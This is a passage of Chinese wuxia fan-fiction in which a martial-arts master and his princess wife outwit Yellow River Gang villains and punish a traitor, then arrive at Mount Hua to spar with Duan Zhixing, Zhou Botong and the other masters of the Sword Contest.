“梁子,我的梁子你们怕是抬不动的。” 赵茵萝不屑的说道,这些江湖宵小,还真当自己是什么角色了。 “你……” 沙通天手上一动,铁桨就要抬起打人,却被旁边的人一把给拉住了。 “彭……” “诶,帮主。这次确实是我们黄河帮做的不对。帮主您身份尊贵不便折节,就让我来给这位夫人陪个不是吧。” 沙通天似乎从对方的尖锐的眼角中明白了什么。 “好好,那就请,彭……彭长老代替本帮主向这位夫人道歉吧。” 两人的手相互交错了一下,同时位置互换。 矮个子来到了近前,轻手轻脚的靠近赵茵萝。而沙通天退后了半步,持着铁桨立在一边。 陈子云好笑的看着两人,一个准备偷袭,一个选了个最方便铁桨出手的站位。这两人倒是配合默契的,想来也不是第一次这样做了。 好一个千手人屠彭连虎,好一个鬼门龙王沙通天。 狼狈为奸,蛇鼠一道,说的就是这两位了。一个是陆地上打家劫舍的强盗,一个是水底里杀人越货的行家,到真的是天生一对。 彭连虎此时手里小心的捏着毒针,一步步的靠近看着样貌普通的赵茵萝。心想只要自己的手里的毒针,但凡能碰到一个对方的指尖,那就大功告成了。 五步……四步…… 嘿,自己这一场帮着沙通天费了好大劲才搞定那个黄龙寨,当真要好好犒劳犒劳自己。 眼前的这妇人虽然姿色一般,但是看着身段还是不错的。何况这个年龄的少妇,那种独有的温润的魅力,本来就是他的最爱。 彭连虎甚至已经想到了,这个少妇瘫倒在自己怀抱之间的媚态了。 三步…… “恶心的东西,滚开。” 彭连虎已经准备在两步之后出手了,一阵可怖的掌风突然就到了自己的眼前。 他只觉得胸口一阵气闷,一口气似乎被堵在了喉头,任凭他怎么呼气吸气都没有半点作用。 彭连虎一张脸瞬间涨红,脖子上也是青筋暴起,一副就要窒息而亡的模样。 不过好在彭连虎懂得毒药,自然也就懂一些医道。在自己就要活活逼死之前,反手一拳打在自己背心。 一口浊气带着一口血同时喷出。 “彭老弟,你怎么了。” 沙通天此时到还显出几分义气,持着铁桨挡在了彭连虎的身前。 “你们到底是什么人?” 彭连虎捧着自己心口问道。 黄河帮的众人此时也都明白,他们怕是遇到麻烦人物了。 “什么人,自然是来凑热闹,看风景的人。” 陈子云淡淡的说道。 他本以为赵茵萝会直接一掌结果了这个所谓的千手人屠,没想到只是小惩大诫的放过了他。 沙通天跟彭连虎对视一眼,他们最怕的就是这样不按常理出牌的人。因为你不知道他们会不会就突然下杀手,何况还是两个如此武功的人物。 “咳咳咳,虽然我们黄河帮对两位有些不敬,但我们沙帮主已经让我代替他道歉了,两位又何必这样出手伤人。” 彭连虎眼睛微微转动了,却还是一口咬死自己刚才只是道歉来着,并没有偷袭的意思。 第一百八十九章 疑惑 沙通天知道彭连虎向来诡计多端,自然是附和着他说话最好。 “不错,以两位的本事,想来也不是无名之辈。要是有什么得罪的,黄河帮沙通天认打认罚。” “哈哈哈哈哈……” 陈子云突然一声大笑。 “哎,算了。茵萝,你来说说,为何你不让这位,嗯,彭长老靠近你?” 彭连虎一听,显然也是意识到,可能自己真的被看穿了,可心里总是还抱着一分期待,认为只是陈子云在忽悠他。 彭连虎的目光看向赵茵萝,他不信这个一看就不是江湖人物的小妇人能看破他的行藏。 “哼,我从来没见过双手插在腰带里道歉的人。” 赵茵萝厌恶的瞥了一眼彭连虎那条装着暗器的腰带,虽然从表面上看不出与普通腰带有什么不同。 但是那种直觉告诉她,里面显然是另有乾坤的。 “就这?难道我表现得不都谦逊吗?” 彭连虎还是不想承认。 “谦逊?你只让我恶心。” 赵茵萝毫不客气。 “你身上的血腥味你自己闻不到吗,竟然好还意思靠过来。” “你……” 彭连虎心想,要如果是个男的敢这么说话,自己少不得要赏他几根毒针。可对于这种卫生问题,一旦是异性提出来的,那就让人尴尬了。 沙通天也下意识的皱了皱鼻子,明显是在闻自己身上的味道。 陈子云尽力抿着嘴,不让自己笑出声来。 他也是没想到,赵茵萝是因为这个才出手的,难怪没有直接结果了彭连虎。 原来只是嫌弃对方身上的味道,那一掌也就只能算是赶苍蝇了。 “如此,倒是我们黄河帮冲撞了两位。帮主,既然如此,那我们也就不必再这里妨碍两位赏景了。” 彭连虎到底还是有几分心机的,见情况于自己不利的时候,也低的下头。 “好,就依照彭长老所言。两位,黄河帮就此告辞了。” 沙通天扶起彭连虎,来到侯通海的担架旁边,紧挨着往岸上而去。而那脚尖着地,脚后跟却不着地的架势,在陈子云眼里自然看的一清二楚。 这是在时刻准备着应对,他们两人发起的背后偷袭呢。 小人之心,往往如此。黑道上混久了,自然看谁都是盗匪。 “子云师傅,就这么让他们走了吗?” 赵茵萝突然问道。 “嗯?不是你要放过他们的吗?” 陈子云好笑的看着这个倒打一耙的小丫头。 “我不是已经出手了?是子云师傅你自己没跟上,还说我。” 赵茵萝哪里会认账。 “这么说,其实你刚才是看出来了?” 陈子云恍然问道。 “当然,虽然我没有学会小李飞刀,可那暗器待发的诀窍难道还看不懂吗。那个姓彭的,双手在腰间,那根腰带不知道藏了多少能要人命的暗器。 而且根据子虚得到的情报,这个姓彭的很有可能就是号称千手人屠的彭连虎。 根据情报里披露的,这人是河北、山西一带的悍匪,手下喽啰甚多,声势浩大,行事毒辣、杀人如麻。 更关键是这人还有几分小聪明,不是一般的江湖莽夫。 按照这人刚才的表现,十有八九就能确定,这人就是他。” “啪啪啪。” 听着赵茵萝的分析,陈子云不由得鼓起掌来。 “不错,不错。那你再说说,明明势均力敌,或者说可能还是黄龙寨更胜一筹的场面,为何最终赢的却是黄河帮?“ 陈子云给赵茵萝又出了一个难题。 “如果没有认出彭连虎,我倒是确实想不通此中关键。不过这人既然善使毒药,那就很有可能是他暗中偷袭,帮着沙通天将那位黄寨主给杀了。 然后趁机攻破了军心不稳的黄龙大舰。” 赵茵萝道。 “大致的方向没错,可缺少了其中的细节。要对黄寨主这样功夫不弱的人物出手,就算是彭连虎也不是轻易可以办到的,何况还是在他自己的主场。” 陈子云道。 “那是差了哪里?” 赵茵萝自问了一句,随即看向那艘还停在黄河水上,却没有了半分威势的黄龙大舰。 等了盏茶的功夫,赵茵萝有些忐忑的开口。 “是有内应?” 陈子云缓缓点头,示意赵茵萝继续。 “内应在黄寨主身边?还预先偷袭了他?” 赵茵萝大胆的猜测着。 陈子云点点头,又摇摇头。 “是用毒?” 赵茵萝惊喜的一拍手掌,似乎想到了其中的关键。 “哈哈,不错,不错。再猜猜这人是谁。” 陈子云用眼神鼓励道。 “是谁?黄龙寨就算是在子虚里也没有多少资料,只知道是一个由同姓同族的水寨发展而来的。 他们内部是靠宗族关系维持的,就算是子虚也无法渗透进去,因为他们的成员不是亲戚,就是邻里,短时间是不可能接受外来人的。” 赵茵萝又皱起了眉头。 陈子云轻轻的点在她的额头上。 “虽然子虚给你带来了江湖上大部分的消息,但是你不能太过于依赖它。甚至放弃了自己的眼睛,在这个能真实看到江湖的地方,你更要用你的眼睛观察。” “观察,我是看漏了什么吗?” 赵茵萝苦苦的思索着,一幕幕场景在眼前回放。可是这样也无法让她一下子回忆起,到底哪里是错漏的。 因为记忆不过是从过去的景象中,而是脑海中筛选出来的最深刻的东西而已,绝不会比当场看到的还多。 所以,一旦错过了,就不可能靠回忆找回来。 “还记得那个跟三头蛟打擂台的家伙吗?” 陈子云提醒了一句。 “三头蛟?是那条黑泥鳅?” 赵茵萝惊诧的问道。她当然是惊讶的,因为谁都看得出来,那个叫费油的家伙,明显是黄寨主的心腹,要不然也不会派他出场。 “可他确实差点杀了三头蛟啊,怎么会?” “不错,差点,而且每次都是差点,你不觉得这就很不合理吗。按照黄河帮跟黄龙寨这样不死不休的局面,明明只要再用一分力就能解决对方的二号人物的,这个费油却只把侯通海打的遍体鳞伤,却始终没有杀他。 你不觉得很奇怪吗?” 第一百九十章 费油 “可这不是他们打的……” “势均力敌是吧?茵萝啊,比武斗胜或许有旗鼓相当的可能,可一旦成了生死相搏,别说是胜一分,就算只是刀尖先挨到对方,那也生死立分的场面。 哪里会是打成这样的,这可不是我们比武喂招的时候。” 陈子云缓缓的说着,他要慢慢的让赵茵萝认清楚只有在这样的实战上才能看得清的现实。 这种教育,比他平时说一百句都有用。 “那,黄寨主当时没有看出来这其中的猫腻?” 赵茵萝思绪敏捷的找到的关键。 “确实,一开始我也疑惑。我分析了有两种可能,一种就是这个费油本来就有这样戏耍对手的习惯,所以黄寨主才觉得没问题;第二种就是这本来就是黄寨主自己示意费油这样做的。理由么,自然是为了打击黄河帮跟沙通天的士气。” 陈子云道。 “不错,虽然三头蛟本事差劲的很,可终究是黄河帮的二当家。这要是在战场上就是副帅了,要是两军还未开战,副帅却被在大庭广众之下被敌军羞辱。 那这场仗也就不用打了。如果真是如此,黄河帮绕了这么一个大圈,行了这么大的险来让黄龙寨上当,他们赢得倒是也不简单了。” 赵茵萝点头道。 陈子云却是摇摇头。 ”也许那位黄寨主最后还是发现了什么,他那一声命令费油杀了侯通海的呼喝,可不单单是声音大而已。 我倒是听出了几分的惊异。 可惜啊,就算是我们知道费油这个叛徒下了暗手,却始终不知道他是如何下手的。” “哼,这种肮脏的事情有什么好可惜的。这费油恐怕也没什么好下场,这种背主的小人,向来没什么好下场。” 赵茵萝作为南宋公主,自然是最见不到这样的人,也正是因为有这样的人才让他们赵家从北宋到了南宋。 “茵萝,不必如此。史书上记载着这样的家伙难道还少吗?虽然有些是落得个两面不是人的下场,可你不能否认,那些卖主求荣的,最终却富贵一生的也不在少数。 尤其是改朝换代的时候,这些人就是新王朝的马骨,千金买来,就算是不用也能供起来,给天下做个榜样。 好让那些个还在摇摆不定的前朝人物,有个理由能心安理得的出仕新朝。 这些人在穿着新样式的官服的时候,也能安慰自己,反正我不是第一个叛变的,要唾弃也轮不到我在前面。 而这样的轮回,茵萝,难道你看的还少吗?” 陈子云打破了赵茵萝想要躲起来的蜗牛壳。 “哼,这些人都是忘恩负义的小人,都该死。这个费油恐怕也已经死在了黄河里,说不定当时就被发现端倪的黄寨主给杀了。 如果是我,宁可输黄河帮一招,也要先杀叛徒。” 赵茵萝说到最后的叛徒两个字,已经在眼里蕴含了一丝杀意。 “哦,茵萝,那你恐怕要失望了。” 陈子云道。 “什么?” “不管是黄寨主没有你这样报复叛徒的决心,还是沙通天讲义气将费油保护的太好,反正他是没有死的,还活的好好的。” 赵茵萝听到这话,戒备的往四周张望了一番。 “不用找,他跟着黄河帮的人一起走了。” “他刚才在黄河帮的队伍里?” “不错,虽然用血迹模糊了脸面,但一个人的本事根底是丢不了的,他那种特殊的走路姿态我不会认错。 那个跟在侯通海的担架后面的家伙,就是费油。” 陈子云十分肯定的说道。 “诶……” 陈子云一声惊呼。 原来赵茵萝在确认那个费油真的在黄河帮里的时候,直接就运起了身法朝着黄河帮众人离开的地方追了过去。 “诶,何必着急,真要杀这么一个货色,传信给子虚的人就是了。黄河帮又不是黄龙寨那种氏族小社会,要混个人进去还不简单。” 不过陈子云虽然自顾自的抱怨着,却没有真的阻拦赵茵萝,反而是一个人站在岸边望着如今这真正的血流成河的黄河成冥河的场景。 至于说赵茵萝会不会在黄河帮的手上吃亏,那也太小看赵茵萝这五年的努力了,也太小看陈子云那一身传过去一半的内力了。 更何况,真当他们两个在这里就是独独他们两人吗?不说随时都有子虚的暗探跟着,就是宋宁宗派来的人也绝对不少。 只是这些人都识趣的没有凑上来,不想打扰这位地后、公主游历江湖的兴致而已。 一刻钟,或者更少,毕竟等待一个人的时候,总是会让人误判了时间的。 赵茵萝回来了,没有去时的急切,神情很是淡然。 陈子云看了看她的手,没有血迹,又看看她的衣袖,依旧没有沾染任何血色。 “解决了?” “嗯。” 赵茵萝简单的回了一声。 “杀了几个?” 陈子云问道。 赵茵萝明显楞了一下,似乎不理解陈子云为何这样问。 “几个?” “那就是说你只是杀了费油?” “当然,难道我还要杀谁?” “费油背主,自然有取死之道,但黄河帮的人用如此下作的手段,难道就不该杀?” 陈子云问道。 赵茵萝摇摇头。 “胜败生死,这不是我在意的,我不过是看不惯费油这样的行径而已。至于黄河帮还是黄龙寨又有什么不同?” “哈哈哈,好好,那这个费油死得其所了。” 陈子云笑着道。 “这种小人我怎么会让他死得其所,我已经警告过黄河帮了,要是他们敢帮费油收尸,我就给黄河帮收尸。” 赵茵萝霸道的说道。 陈子云这时也是给费油默哀了,这位小公主霸道的时候确实也是不讲理的。 其实陈子云也有些担心,赵茵萝之所以会从一个说话声音都小的让人听不清的可爱公主,变成这么一个杀伐果断的小女王,可能也是因为自己的内力影响。 不管是黄昏细雨红袖刀,还是二十四节气惊神指都不是什么平和渐进的武学,其中的霸道只有领教过的人才知道。 第一百九十一章 大雪 而赵茵萝又长在帝王之家,各种杀伐权术在她眼前不断的上演,加上她本来就对历史典故很有兴趣。 这一身内功就成了激活赵茵萝内心那头蛰伏了二十年的凶兽的钥匙。 不过对于这样的赵茵萝,陈子云是不排斥的,甚至更希望她能独立自强。 因为他自己都不知道什么时候就突然从这个世界消失,赵茵萝有这样的心性,起码不用担心她会吃亏。 不过对于如何让赵茵萝渐渐习惯这头野兽的苏醒,而不至于直接被这种嗜血的凶性给吞噬本心。 这才是这几年来,陈子云一直在小心做的事。 有意的让赵茵萝接触江湖,掌控子虚,无不是为了此事布局。 而今天这次的开荤,陈子云也是期盼了很久。本来他是计划让赵茵萝直接插手进这场黄河帮与黄龙寨的纷争里的。 为此,陈子云还故意派人去提醒了这位黄寨主,不要中了黄河帮的调虎离山之计。 可惜,赵茵萝虽然对江湖有兴趣,却对这样的争斗卡不上眼。 要不是出了一个费油,陈子云这部棋就算是落在空处了。 “下雪了。” 赵茵萝欢喜的叫了一声,脸上也绽放出了花朵般的笑容。 对于长在南方的她来说,每一场雪都是值得期待的美景。 陈子云抬头看看缓缓飘落的雪花,在雪花还没有落到地上之前,在阴暗的天空映衬下,其实看上去更像是肮脏的棉絮。 血色,浪花,黄河,大雪。这是一副奇特的,带着悲壮的美景。 虽然已经开春,可北方的寒冷时节却远远不曾过去。 这段时间内,起码要等黄河将这些血色,已经沉下去的或者漂浮着的尸体都用时间清理干净,才会有人敢靠近这里了。 “走吧,要真的欣赏这场雪景,还得等明天早上起床之后。” 陈子云一把拉住了似乎还想用手承接一些飞雪的赵茵萝,替她把后面披风的帽兜翻上来,遮在头上。 赵茵萝有些惋惜的看着融化在自己手里的雪花,同时也满眼期待着明天的早点到来。 “子云师父,明天我们换个地方赏雪吧,这里,脏了啊。” …… 陈子云不止一次来过华山,可华山的雪景却是第一次见到。如果说平时的华山示人的是他的险峻,那此时的华山表现出来的却是遗世独立的仙气。 银装素裹,雪松傲岩。风雪让华山上一片寂静,同时也发出了一声绝美的赞叹。 “子云师傅,我们在华山上安个家吧。” 赵茵萝第一眼看到华山就彻底被这里吸引了,这里是这么干净,这么洁白,这么美。 要是能在这里晨观朝霞晚观山,松子为食露为水,那不就是神仙生活吗。 “好啊。那就在这里建个公主府别院。” 陈子云打趣的说道,他自然觉得这不过是赵茵萝的一时心血来潮。 有美景的地方可不一定就是个好住处,也就是赵茵萝没有自己处理过柴米油盐的琐碎事,才会认为家就是盖个房子的事情。 “好,那就说定了,等回去了就让人过来看地方。不过不能大张旗鼓的,不能被金庭发现了。” 赵茵萝浮想联翩的思索着,看看这头,又看看那头,似乎在找未来的公主别院要坐落在那个山峰之上。 陈子云带着赵茵萝踏雪而上,这场大雪一下,估计脚底下没有一点功夫的都不可能登的上这华山,更别说是登临封顶。 就是赵茵萝有几次过绝壁凸岩的时候,也有些站立不稳。这就是突然得到高深内力的弊端了,基础不牢,下盘难稳。 陈子云自然也不会放过激励她的机会。 “怎么,现在知道我平时为什么要督促你仔细基础功夫了吧。” “回去加倍练就是了。” 赵茵萝最大的优点就是不会逃避问题,既然知道了问题关键所在,就绝对不会自欺欺人。 尤其是在陈子云面前,对于这个相公师傅,她是无限度坦诚的。 等他们临近华山北峰峰顶,已经有打斗声传来了,看来这些人已经开打了。 陈子云他们本以为这么大的雪,这些人也会被阻了行程,会推迟一些时候才是。 没想到他们却是如此的着急,自己还没到,却已经打起来了。 华山北峰之上本来也是遍地的雪沙,不过如今却是已经被这打斗中的几人激发的劲道给扫去了大半。 中间正有两对人物还在切磋厮杀,激起的内劲更是直接把周围的积雪融化了。 陈子云撑着伞,大大方方的带着赵茵萝上了这本来应该罕有人至,如今却热闹非凡的华山北峰。 “咦,怎么你也来了,这头发怎么白了,子云子云,云是白的,你的头发也是白的,哈哈,到是更相称了。我师兄说你是天人,那我以后就叫你天上的云朵吧。 你也来华山论剑吗?” 一个灵活的身影,跑着跳着就往陈子云他们这里来了。 陈子云不用看就知道是谁,会这样奇怪的称呼自己,只有王重阳的那个好师弟,老顽童周伯通。哦,不对,以他现在的年纪还说不上老。 “天上的云朵儿,子云师傅,他怎么这么叫你?” 赵茵萝看着那个古灵精怪的跑来的男子,奇怪的问道。 “咦,这人是谁,云朵,是你的妹妹吗,她也是天上来的?” 周伯通好奇的打量着赵茵萝。 赵茵萝还是第一次见这么无礼的人,身为一个男子却在第一次见面的时候毫不顾忌的审视自己。 “周伯通,这位是我的夫人。” 陈子云不动声色的挡住了周伯通是视线说道。 “啊呀,你成婚了!” 周伯通表情惊讶至极,随即探头往他们的身后看了看。 “你们的娃娃呢?” 周伯通这一问,还不忘往赵茵萝的怀里看。 这可把赵茵萝给羞到了,虽然他们已经成婚五年,可在她依旧还是完璧之身,怎么会有孩子。 可这样的事情,自然不可能由她一个女人家来解释。 公主也好,女侠也罢,在这种问题上,她永远只是女人。 第一百九十二章 段智兴 “周伯通,要娃娃,你自己娶媳妇生去。” 陈子云真想给这不通人情的家伙当头来一下。 “娶媳妇,不,我才不要。媳妇有什么好的,有练武功好玩吗!” 周伯通急忙忙的摇着脑袋。 “咳咳,周伯通,这位是谁,还不给我们介绍一番。” 陈子云连忙转移了话题,要是再进行下去,说不得赵茵萝就要出手教训对方了。 “哦哦,他啊,他是段王爷。” 周伯通简单的介绍了一句,眼睛却还在陈子云跟赵茵萝的身后打量。 “段智兴见过贤伉俪。” 那位衣冠楚楚的气势非凡的中年汉子抱拳道。 “大理国主?” 赵茵萝惊讶不已。 “夫人客气,在这华山之巅只有江湖游子段智兴,没有大理国主。敢问两位如何称呼?“ 段智兴坦然道。 “赵茵萝见过阁下,这位是外子子云。” 赵茵萝也摆正了仪态,恭敬的行了一个宫廷礼仪。 “原来是大宋公主跟驸马爷,失敬失敬。” 段智兴也是诧异的很。 身为大理的国君,就算再消息不灵通也不可能不知道比邻的南宋,皇帝唯一的宝贝公主出嫁的消息。 “既然段兄刚才说了,这华山绝顶之上,只有江湖没有皇朝。那我与茵萝自然也是以江湖身份与阁下论交。” 陈子云抬手行了一个江湖抱拳礼。 “哈哈哈,好,子云兄所说不差。段智兴,见过子云兄,嫂夫人。” 段智兴重新以江湖礼拜见。 陈子云跟赵茵萝携手还礼。 “哎,我说,你们这样拜来拜去的有什么意思。要不打一场吧,我是打不过云朵跟段王爷的,不过我看着云朵夫人也是会武功的,要不我们来试试?” 也就是周伯通这样的才能还不介怀的提出跟一个女子比试的要求来,换做是这里的任何一人都不会如此坦荡。 陈子云眼睛一亮,看向段智兴,他自然知道对方的一阳指是此世界最为绝妙的指法,比起黄药师的弹指神通可能还要高明半分。 作为云南大理段氏嫡传的武功,一阳指在点穴功夫中位居天下第一。出指可缓可快,缓时潇洒飘逸,快则疾如闪电,但着指之处,分毫不差。当与敌挣搏凶险之际,用此指法既可贴近径点敌人穴道,也可从远处欺近身去,一中即离,一攻而退,实为克敌保身的无上妙术。 如何能让陈子云不见猎心喜,要知道他的二十四节气惊神指可是已经寂寞五年了。 而段智兴显然也看出了陈子云的不凡,他本来还在等那两对交手的人物结束,好自己动手。 没想到这个时候还有人加入,而当他看到陈子云的手指的时候,他立刻就肯定对方绝对也是指法上的高手。 良辰遇美酒,相逢见对手,何不幸哉。 两人的目光在半空中交错,都看懂了对方眼中的自信、骄傲、期待。 两人几乎同时往同一侧踏出了一步,这一步之间就直接把本来夹在两人中间的周伯通和赵茵萝给让了出来。 随即同时抬手,朝着对方就是一指点出。 两种不同的劲道,却同样的霸道。 啪的一声,地上的积雪瞬间就被激起了一大片。 “哇,好功夫,好功夫。云朵啊,你能不能教教我。” 周伯通看的这般的神奇场景,顿时忍不住了。 “嘿,你可是我的对手,注意小心了。” 赵茵萝也是看的心痒难耐。 这一路上来,看别人打架的时候多,自己出手的时候却少。而且都是一些上不得台面的货色,赵茵萝觉得自己心里像是憋着一股劲,却没能发泄出来。 而眼前这个男人,虽然看着不正经,可那手脚动作之间流露出来的仪态就是一个了不得的高手身态。 有如此好的机会,如此好的对手,如何还能忍得住。 “看刀。” 赵茵萝轻喝一声,袖中的红豆顷刻间出手。 “啊呀,你这个云朵媳妇,怎么比我周伯通还着急。来来来,让你看看我师兄教我全真教功夫的厉害。” 周伯通说着就从地上捞起一块石头当做兵器,与袭来的红豆小刀在空中碰碰相撞。 可普通是石头哪里能挡得住赵茵萝这千挑万选出来的红豆小刀的锋利。 赵茵萝在几刀之间就把周伯通手里石头削城了只有铅笔粗细的石头棒子。 “啊呀,啊呀,你这是什么兵器,怎么还能削石头?” 周伯通一边跳着,一边紧紧盯着赵茵萝手里的红豆小刀,就像是一个孩子看到了心仪的玩具。 “红豆,红豆最相思的红豆。” 赵茵萝轻轻拂过红豆的刀背,就像是在抚摸情人的手背。 “那个,云朵夫人,要不你把红豆借我玩玩。我,可以拿东西跟你换。” 周伯通心痒难耐的恳求道。 “不,我的红豆是不会给别人用的。” 赵茵萝说完就是一刀,似乎是生气周伯通窥觑红豆的行为,这一刀又快又狠。 “啊呀,小心呢。” 周伯通惊叫的跳开。 …… 陈子云与段智兴交手不过瞬间,已经从霜降、立冬一路使到了冬至小寒。此时最应景的二十四节气招法,也就是最为严酷的大寒未出。 本来按照他的预计,以此时的未曾修炼过先天功的段智兴应该还没有这般的实力。 可陈子云发现他错了,而且错的离谱。王重阳后面将先天功传给段智兴可能只是因为这么功夫能克制西毒的蛤蟆功。 却不一定比段智兴如今修行的本家内功更适合施展一阳指。 陈子云不知道段智兴配合先天功施展出来的一阳指是什么摸样,可其实他却是很震惊。 此时的段智兴那一指点出,不但缓急如意,变换无常。而其发出的指劲中蕴含的那种至刚至强的气势,甚至有种跟降龙十八掌类似的味道。 而这样阳刚炙热的劲道竟然有些克制二十四节气指中,冬季节气的那几招。 这让陈子云不敢置信的同时,也被激起了不服输的性子。 他今天偏偏就要用这冬季节气的指法与段智兴的一阳指对敌。 第一百九十三章 欧阳锋 段智兴此时也是打的有些面红耳赤了。 虽然他已经在这华山绝顶见识了其他四位江湖绝顶人物的风采。 可除了黄药师的弹指神通算得上是指法,其他的几位却是都不擅长的。 而黄药师的弹指神通巧大于力,与其交手始终说不上快意。况且黄药师的功夫驳杂,拳脚剑法样样精通,难免就有些不够专注。 而这位子云兄就大大不同,虽然不知道对方为何是少年白发的摸样,可这手指的功夫是骗不过他的。对方起码在这指法上浸淫几十年,才会可能有这样的成就。 这立刻就激起了他的比试切磋之心。 现在的段智兴可不是那个被带了绿帽子,又因为见死不救而受不了良心谴责出家为僧的一灯大师。 此时的段智兴,作为大理国主,又是大理段氏的第一高手,年纪正当,胸中的雄心也最是火热昂扬的时候。 看他此时那一指指点出一阳指时的霸道绝伦就知道,此时的段智兴招法之间只有杀伐,可没什么佛性。 也正是他此时这样的精神状态,才让他把一阳指发挥到了不曾有过的最佳效果。 这也就是为什么,高手总是希望对手也是高手,因为没有了棋逢对手的砥砺,如何能让自己前进。 陈子云一指大寒终于出手,在这冰天雪地里,就连在旁边的几人也感到一阵凉意吹进了自己的骨子里。 “好指法。” 段智兴大喝一声,同时面色涨红,明显他也将一阳指运用到了极致。 “哈啊……” 只听得一声爆裂的呼哈之声,随着他的右手食指一起点出,与陈子云的大寒在尺寸间相撞。 两人都不管不顾,就任凭肉指与肉指相连。 这两人都运用到极致的一指,却意外的没有发出什么大响动。 连他们两人脚下的积雪似乎都未曾被气劲弹开。 但是如果你仔细的看他们的脚下,就知道雪虽然没有被掀起,却是狠狠的被往下压了一层。 而同时下降的还有他们自己的脚掌,如今已经不只是陷入了雪里,而是陷了这华山绝顶不知道多少年沉积的硬土里。 “好好好,两位在指法上的造诣,天下怕是难出其右了。” 一个略显沧桑的嗓音给陈子云与段智兴的这场较量画上了句号。 “子云小友,别来无恙。” 王重阳满脸笑意的走了过来。 陈子云收手而立,朝着走过来的几人抱抱拳。 “真人,七兄,药师兄。” “你这头发是因为当初的传功吧。” 黄药师直言不讳的指着陈子云的九白一黑的头发道。 洪七只是朝着陈子云拱拱手,似乎对他的到来并不意外,只是眼中也同样有些好奇的看着他的白发。 不过王重阳显然是老道了一些,看出陈子云似乎并不想谈论这个话题,就接过了话头。 “子云,你跟段王爷已经交手,自然不用老道介绍了。而药师兄,跟七兄看来也是你的旧识。 老道来给你介绍一下这位。” 王重阳斜指着一个身材高大,身穿白衣,高鼻深目,脸须棕黄,英气勃勃的中年人说道。 陈子云见这人眼神如刀似剑,甚是锋锐,一看就知道不是中原人士。 “这位欧阳锋,欧阳先生,来自西域白驼山,也是一位难得的的宗师人物。 峰兄,这位是子云,是老道的忘年交。” “峰兄。” 陈子云第一眼就知道这位必然就是西毒,到也没什么反派必须死的偏见,只要对方不惹到自己,自己自然客气着。 “子云兄客气。” 欧阳锋的语声铿铿似金属之音,更显得他整个人刚烈异常,全然不会把他看成是不择手段的小人。 欧阳锋从不把普通人的性命放在眼里,那是因为他已经在西域基本打遍天下无敌手了。长时间的这种状态,自然会让一个人目无余子,对那些奉承自己的人看不上。 但是对于表现出与自己能旗鼓相当的对手,欧阳锋从来都不会轻视。就算是洪七公在后面差点死在他的手上,他也能给与对方起码的尊重。 而陈子云刚才与段智兴的对决他也是看在眼里的,怎么不知道陈子云是一个不弱于自己的高手。 而想到段智兴,欧阳锋的眼神就变得有些阴郁。以前他从来没有遇见过,这么克制自己蛤蟆功的武学。 这大理段氏的一阳指,好像就是为了克制自己而生的。 而陈子云同样表现出来的不属于一阳指的指法,也足够让他忌惮。 虽然陈子云的指法不如一阳指那般至阳至刚,能克制自己,但是心里的防备终究还是免不了的。 “哎,不来了,不来了,我周伯通认输了。” 陈子云几人还在相互介绍,周伯通却是逃跑似的躲到了自己师兄王重阳的宽大道袍后面。 这样的行为自然是让其余几人很是看不起的。别说什么小孩子心性,作为王重阳的师弟,又有不俗的本事,对于不熟悉的人只会认为他是在藏拙,或者说是耍无赖。 陈子云自然是知道这位的,不仅是以前的记忆,上次在终南山上也算是领教过这位的童心了。 “哼。” 赵茵萝本来是想追过来的,但是看到陈子云他们几人正在一起,也不好再追着周伯通不放。 其实她刚才跟周伯通交手的时候,觉得这个人武功不差,就是性格太无赖了一些。 一些招式也是天南地北,浑然不知根底,甚至有些还常常违背一般的武学道理。 本来明明是一拳打自己腰际的,却是反而一转身用脚踢自己了。 好好的一套道家掌法,在周伯通使来却像是顽童的胡闹。 可也是因为这样的胡闹,让习惯了陈子云喂招的赵茵萝一时摸不透周伯通的路数。 虽然两人谁都没占上风,可那股子憋屈的劲就别提了。 所以赵茵萝见周伯通要跑,就赶紧追了过来。 没想到对方这样厉害的人物,竟然真的能不顾颜面的躲到自己师兄的身后。 这人实在是古怪的很。 第一百九十四章 三打 “真人,诸位见谅。这位是拙荆,药师兄是见过的。茵萝,上次药师兄走的急,你还不趁此机会感谢他的救命之恩。” 陈子云拉住了赵茵萝,对几人介绍道。 众人跟赵茵萝见了个礼。 赵茵萝抱拳还礼,却是紧紧盯着黄药师不放。 “在下有何不妥?” 黄药师困惑的问道。 “你既然能救我,能不能帮他把头发恢复?” 赵茵萝希翼的问道。 “哈哈哈,子云兄,好一对伉俪情深。当初你为了救嫂夫人,甘愿自废武功,一夜白头,如今嫂夫人也是要报之以琼瑶啊。 可这与黄某人又何相干?” 黄药师看来对赵茵萝的态度很是不悦。 赵茵萝没想到黄药师会这般的反应,顿时有些坐蜡。 她作为南宋公主,哪里有求人的时候,可看到陈子云的一头白发,又自问有什么委屈她是不能忍受的。 “茵萝再次请求黄大哥帮我……” “茵萝,跟药师兄打交道不用这样的。他要是肯帮忙就算你不理睬他,他也照样会帮,要是他不愿意,就是你把公主府送给他,他也不会理睬你的。” 陈子云打断了赵茵萝,看着黄药师微笑道。 “哈哈哈,子云兄说的不错。但凡是我黄药师不想做的事情,别说你是公主,就是皇帝老子,又如何?” 黄药师仰头大笑。 赵茵萝捏捏拳头,作为女儿,有人以这样轻蔑的态度提及自己父亲,自然是不会高兴的。可想到这黄药师的本领,陈子云的头发又得仰仗他帮忙,只能暗暗咽下了这口气。 “药师兄说的不错,我辈中人,如何能被俗世权利所左右。公主也好,皇帝也罢,要是能接下我欧阳锋的三拳两脚,才有资格与我说话。” 欧阳锋在一旁说道。 陈子云意味深长的看了他一眼,欧阳锋这句话似乎是在给黄药师当捧脚,可实际上却是在挑拨。 欧阳锋明显是认为陈子云跟除了他之外的几人都有旧交,让他感觉到了巨大的威胁。要是陈子云撮合着这些人一起对付他,那可就大事不妙了。 欧阳锋一直都是以自己的心机来预测别人的行为的,这是真小人的一贯行事准则。 “倒是让锋兄费心了,不过黄某人的事情自然由我自己解决,不用峰兄费心。” 可惜了,黄药师却是这些人里最聪明的,要在他面前挑拨离间,欧阳锋实在是找错了对象。 “哦,是吗。那倒是在下多管闲事了。哈哈,还请药师兄海涵。” 欧阳锋大笑一声,丝毫不为刚才的事情尴尬。 这份唾面自干的心胸,也不枉他一代宗师的成就。 “几位何必费这些口舌之争,既然大家今天都在这华山之上,自然是在拳脚刀剑上论英雄便是了。” 段智兴豪气的开口说道。 “不错,段王爷此话正合老道之意。既然诸位是来华山论剑的,还是手底下见真章吧。” 王重阳也看到了几人之间渐渐升起的火药气味,索性还不如让他们打一场来的合适。 “不错,不错,吹箫的,癞蛤蟆,还有云朵,反正都是要打的,还不如你们先来。” 